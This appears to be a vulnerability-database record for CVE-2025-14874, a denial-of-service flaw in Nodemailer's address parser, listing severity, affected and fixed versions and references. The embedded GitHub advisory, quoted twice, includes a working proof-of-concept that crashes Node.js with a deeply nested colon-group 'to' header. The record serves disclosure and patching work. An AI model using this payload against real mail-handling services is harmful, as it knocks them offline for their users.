{"id":"CVE-2025-14874","aliases":["CLSA-2026-1775003161","DEBIAN-CVE-2025-14874","EUVD-2025-204250","GHSA-46j5-6fg5-4gv3","GHSA-9h6g-pr28-7cqp","GHSA-rcmh-qjqh-p98v","ROOT-APP-NPM-CVE-2025-14874","ROOT-APP-NPM-GHSA-46j5-6fg5-4gv3","UBUNTU-CVE-2025-14874"],"status":"published","title":"Nodemailer: nodemailer: denial of service via crafted email address header","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00599,"percentile":0.48962,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-674","CWE-703"],"published":"2025-12-01T20:44:25Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"npm","package":"nodemailer","fixed_in":["7.0.11"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-nodemailer","fixed_in":["7.0.12+~7.0.5-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"nodemailer","fixed_in":["6.10.1-aikido.10","6.10.1-aikido.11","7.0.9-aikido.3","6.10.1-aikido.2","6.10.1-aikido.12","6.10.1-aikido.9","6.9.15-aikido.4","6.10.1-aikido.8","7.0.9-aikido.4","6.10.1-aikido.3","6.10.1-aikido.4","7.0.9-aikido.5","6.10.1-aikido.5","7.0.9-aikido.6","6.10.1-aikido.6","7.0.9-aikido.7","7.0.9-aikido.8","6.10.1-aikido.13","6.10.1-aikido.14","7.0.11-aikido.6","7.0.11-aikido.7","7.0.11-aikido.5","7.0.11-aikido.1","7.0.11-aikido.2","7.0.11-aikido.3","7.0.11-aikido.4","7.0.11-aikido.8","7.0.11-aikido.9"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/nodemailer","fixed_in":["6.10.1-root.io.10","6.9.15-root.io.1","7.0.9-root.io.1","6.9.15-root.io.2","6.10.1-root.io.11","7.0.9-root.io.3","7.0.9-root.io.2","6.9.15-root.io.3","6.10.1-root.io.2","6.10.1-root.io.12","6.10.1-root.io.9","6.10.1-root.io.1","6.9.15-root.io.4","6.10.1-root.io.8","7.0.9-root.io.4","6.10.1-root.io.3","6.10.1-root.io.4","7.0.9-root.io.5","6.10.1-root.io.5","7.0.9-root.io.6","6.10.1-root.io.6","7.0.9-root.io.7","7.0.9-root.io.8","6.10.1-root.io.13","6.10.1-root.io.14","7.0.11-root.io.6","7.0.11-root.io.7","7.0.11-root.io.5","7.0.11-root.io.1","7.0.11-root.io.2","7.0.11-root.io.3","7.0.11-root.io.4","7.0.11-root.io.8","7.0.11-root.io.9"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"7.0.10"},{"fixed":"7.0.11"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.webjars.npm:nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"6.10.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.2-tuxcare.0"},{"fixed":"2.7.2-tuxcare.1"}]}],"versions":["2.7.2"],"bundled":4},{"source":"osv","ecosystem":"Debian:12","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","10.0.10+~8.0.2-1","10.0.13+~8.0.2-1","10.0.14+~8.0.2-1","10.1.7+~8.0.2-1","6.10.0+~6.4.17-1","6.8.0+~6.4.6-1","6.9.13+~6.4.14-1","6.9.15+~6.4.16-1","6.9.16+~6.4.16-1","6.9.4+~6.4.9-1","6.9.4+~6.4.9-2","6.9.4+~6.4.9-3","6.9.4+~6.4.9-4","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","10.0.10+~8.0.2-1","10.0.13+~8.0.2-1","10.0.14+~8.0.2-1","10.1.7+~8.0.2-1","6.10.0+~6.4.17-1","6.10.0+~6.4.17-1+deb13u1","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.12+~7.0.5-1"}]}],"versions":["6.10.0+~6.4.17-1","7.0.10+~7.0.2-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2"]},{"source":"osv","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"7.0.11"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.webjars.npm:nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"6.10.1"}]}],"versions":["4.6.5","6.10.1","6.3.1"]},{"source":"osv","ecosystem":"Root:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.1-aikido.10"},{"fixed":"6.10.1-aikido.11"},{"fixed":"7.0.9-aikido.3"},{"fixed":"6.10.1-aikido.2"},{"fixed":"6.10.1-aikido.12"},{"fixed":"6.10.1-aikido.9"},{"fixed":"6.9.15-aikido.4"},{"fixed":"6.10.1-aikido.8"},{"fixed":"7.0.9-aikido.4"},{"fixed":"6.10.1-aikido.3"},{"fixed":"6.10.1-aikido.4"},{"fixed":"7.0.9-aikido.5"},{"fixed":"6.10.1-aikido.5"},{"fixed":"7.0.9-aikido.6"},{"fixed":"6.10.1-aikido.6"},{"fixed":"7.0.9-aikido.7"},{"fixed":"7.0.9-aikido.8"},{"fixed":"6.10.1-aikido.13"},{"fixed":"6.10.1-aikido.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.1-root.io.10"},{"fixed":"6.9.15-root.io.1"},{"fixed":"7.0.9-root.io.1"},{"fixed":"6.9.15-root.io.2"},{"fixed":"6.10.1-root.io.11"},{"fixed":"7.0.9-root.io.3"},{"fixed":"7.0.9-root.io.2"},{"fixed":"6.9.15-root.io.3"},{"fixed":"6.10.1-root.io.2"},{"fixed":"6.10.1-root.io.12"},{"fixed":"6.10.1-root.io.9"},{"fixed":"6.10.1-root.io.1"},{"fixed":"6.9.15-root.io.4"},{"fixed":"6.10.1-root.io.8"},{"fixed":"7.0.9-root.io.4"},{"fixed":"6.10.1-root.io.3"},{"fixed":"6.10.1-root.io.4"},{"fixed":"7.0.9-root.io.5"},{"fixed":"6.10.1-root.io.5"},{"fixed":"7.0.9-root.io.6"},{"fixed":"6.10.1-root.io.6"},{"fixed":"7.0.9-root.io.7"},{"fixed":"7.0.9-root.io.8"},{"fixed":"6.10.1-root.io.13"},{"fixed":"6.10.1-root.io.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.11-aikido.6"},{"fixed":"7.0.11-aikido.7"},{"fixed":"7.0.11-aikido.5"},{"fixed":"7.0.11-aikido.1"},{"fixed":"7.0.11-aikido.2"},{"fixed":"7.0.11-aikido.3"},{"fixed":"7.0.11-aikido.4"},{"fixed":"7.0.11-aikido.8"},{"fixed":"7.0.11-aikido.9"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.11-root.io.6"},{"fixed":"7.0.11-root.io.7"},{"fixed":"7.0.11-root.io.5"},{"fixed":"7.0.11-root.io.1"},{"fixed":"7.0.11-root.io.2"},{"fixed":"7.0.11-root.io.3"},{"fixed":"7.0.11-root.io.4"},{"fixed":"7.0.11-root.io.8"},{"fixed":"7.0.11-root.io.9"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.3.0-2","6.3.1-1","6.4.0-1","6.4.1-1","6.4.2-1","6.4.5-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.17-3","6.7.0-1","6.7.0-2","6.7.1+~6.4.4-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.9.4+~6.4.9-2","6.9.4+~6.4.9-3ubuntu1","6.9.4+~6.4.9-4"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.10.0+~6.4.17-1","7.0.5+~7.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["7.0.5+~7.0.1-1","7.0.9+~7.0.2-2","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","8.0.4+~7.0.11-1"]}],"products":[{"vendor":"nodemailer","product":"nodemailer"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2"},{"vendor":"red hat","product":"red hat ceph storage 8"},{"vendor":"red hat","product":"red hat developer hub 1"},{"vendor":"redhat","product":"advanced_cluster_management_for_kubernetes"},{"vendor":"redhat","product":"ceph_storage"},{"vendor":"redhat","product":"developer_hub"}],"references":[{"url":"https://access.redhat.com/security/cve/CVE-2025-14874","tags":["vdb-entry","x_refsource_REDHAT","Third Party Advisory","advisory","web","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418133","tags":["issue-tracking","x_refsource_REDHAT","exploit","Exploit","Issue Tracking","Third Party Advisory","report","web"]},{"url":"https://github.com/nodemailer/nodemailer","tags":["Product","package","report"]},{"url":"https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150","tags":["Patch","fix","web","report"]},{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v","tags":["exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14874","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-46j5-6fg5-4gv3"},{"url":"https://github.com/nodemailer/nodemailer/commit/6218b8df","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rcmh-qjqh-p98v"},{"url":"https://access.redhat.com/downloads/content/package-browser/","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/14xxx/CVE-2025-14874.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-14874","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-14874","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-14874","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-14874","title":"Nodemailer: nodemailer: denial of service via crafted email address header","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"published","published":"2025-12-18T08:40:31.916Z","modified":"2026-10-27T04:36:27.387Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-703"],"updated_at":"2026-11-02T14:32:28.621398Z"}],"euvd":[{"id":"EUVD-2025-204250","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"published","published":"2025-12-18T08:40:31Z","modified":"2026-10-27T04:36:27Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:59:24.794351Z"}],"ghsa":[{"id":"GHSA-46j5-6fg5-4gv3","title":"Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"withdrawn","published":"2025-12-18T09:30:30Z","modified":"2026-02-03T17:37:55Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-674","CWE-703"],"updated_at":"2026-11-02T14:39:21.558748Z"},{"id":"GHSA-rcmh-qjqh-p98v","title":"Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls","description":"### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n    ...\n    if (data.group.length) {\n        let parsedGroup = addressparser(data.group.join(',')); // \u003c- boom!\n        parsedGroup.forEach(member =\u003e {\n            if (member.group) {\n                groupMembers = groupMembers.concat(member.group);\n            } else {\n                groupMembers.push(member);\n            }\n        });\n    }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n  let parts = [];\n  for (let i = 0; i \u003c depth; i++) {\n    parts.push(`g${i}:`);\n  }\n  return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n  streamTransport: true,\n  buffer: true,\n  newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n  {\n    from: 'test@example.com',\n    to: toHeader,\n    subject: 'test',\n    text: 'test'\n  },\n  (err, info) =\u003e {\n    if (err) {\n      console.error('error:', err);\n    } else {\n      console.log('finished :', info \u0026\u0026 info.envelope);\n    }\n  }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”","status":"published","published":"2025-12-01T20:44:25Z","modified":"2026-07-15T21:55:34Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-703"],"updated_at":"2026-11-02T14:40:43.958448Z"}],"nvd":[{"id":"CVE-2025-14874","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"published","published":"2025-12-18T09:15:44.87Z","modified":"2026-10-27T05:16:55.207Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-703"],"updated_at":"2026-11-02T14:11:52.309391Z"}],"osv":[{"id":"CVE-2025-14874","title":"Nodemailer: nodemailer: denial of service via crafted email address header","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"published","published":"2025-12-18T08:40:31.916Z","modified":"2026-10-28T02:31:00.880319131Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-703"],"updated_at":"2026-11-02T15:44:46.340268Z"},{"id":"DEBIAN-CVE-2025-14874","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"published","published":"2025-12-18T09:15:44.87Z","modified":"2026-10-27T10:00:07.198342569Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:45.102284Z"},{"id":"GHSA-46j5-6fg5-4gv3","title":"Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"withdrawn","published":"2025-12-18T09:30:30Z","modified":"2026-09-10T03:50:31.278770673Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-674","CWE-703"],"updated_at":"2026-11-02T15:46:36.434231Z"},{"id":"GHSA-rcmh-qjqh-p98v","title":"Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls","description":"### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n    ...\n    if (data.group.length) {\n        let parsedGroup = addressparser(data.group.join(',')); // \u003c- boom!\n        parsedGroup.forEach(member =\u003e {\n            if (member.group) {\n                groupMembers = groupMembers.concat(member.group);\n            } else {\n                groupMembers.push(member);\n            }\n        });\n    }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n  let parts = [];\n  for (let i = 0; i \u003c depth; i++) {\n    parts.push(`g${i}:`);\n  }\n  return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n  streamTransport: true,\n  buffer: true,\n  newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n  {\n    from: 'test@example.com',\n    to: toHeader,\n    subject: 'test',\n    text: 'test'\n  },\n  (err, info) =\u003e {\n    if (err) {\n      console.error('error:', err);\n    } else {\n      console.log('finished :', info \u0026\u0026 info.envelope);\n    }\n  }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”","status":"published","published":"2025-12-01T20:44:25Z","modified":"2026-09-10T03:50:58.906017759Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-703"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"ROOT-APP-NPM-CVE-2025-14874","title":"CVE-2025-14874 in nodemailer - Patched by Root","description":"Root has patched CVE-2025-14874 in the nodemailer package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T13:20:22Z","modified":"2026-10-19T14:15:11.212130746Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"UBUNTU-CVE-2025-14874","description":"A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.","status":"published","published":"2025-12-18T09:15:00Z","modified":"2026-10-17T12:57:01.103691Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:20.144818Z"},{"id":"CLSA-2026-1775003161","title":"TuxCare security update for nodemailer (6 CVEs)","description":"TuxCare rebuilt nodemailer to address 6 CVEs. Fixed in 2.7.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:49.355745173Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"ROOT-APP-NPM-GHSA-46j5-6fg5-4gv3","title":"GHSA-46j5-6fg5-4gv3 in nodemailer - Patched by Root","description":"Root has patched GHSA-46j5-6fg5-4gv3 in the nodemailer package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T12:21:11Z","modified":"2026-10-19T13:15:05.920767594Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
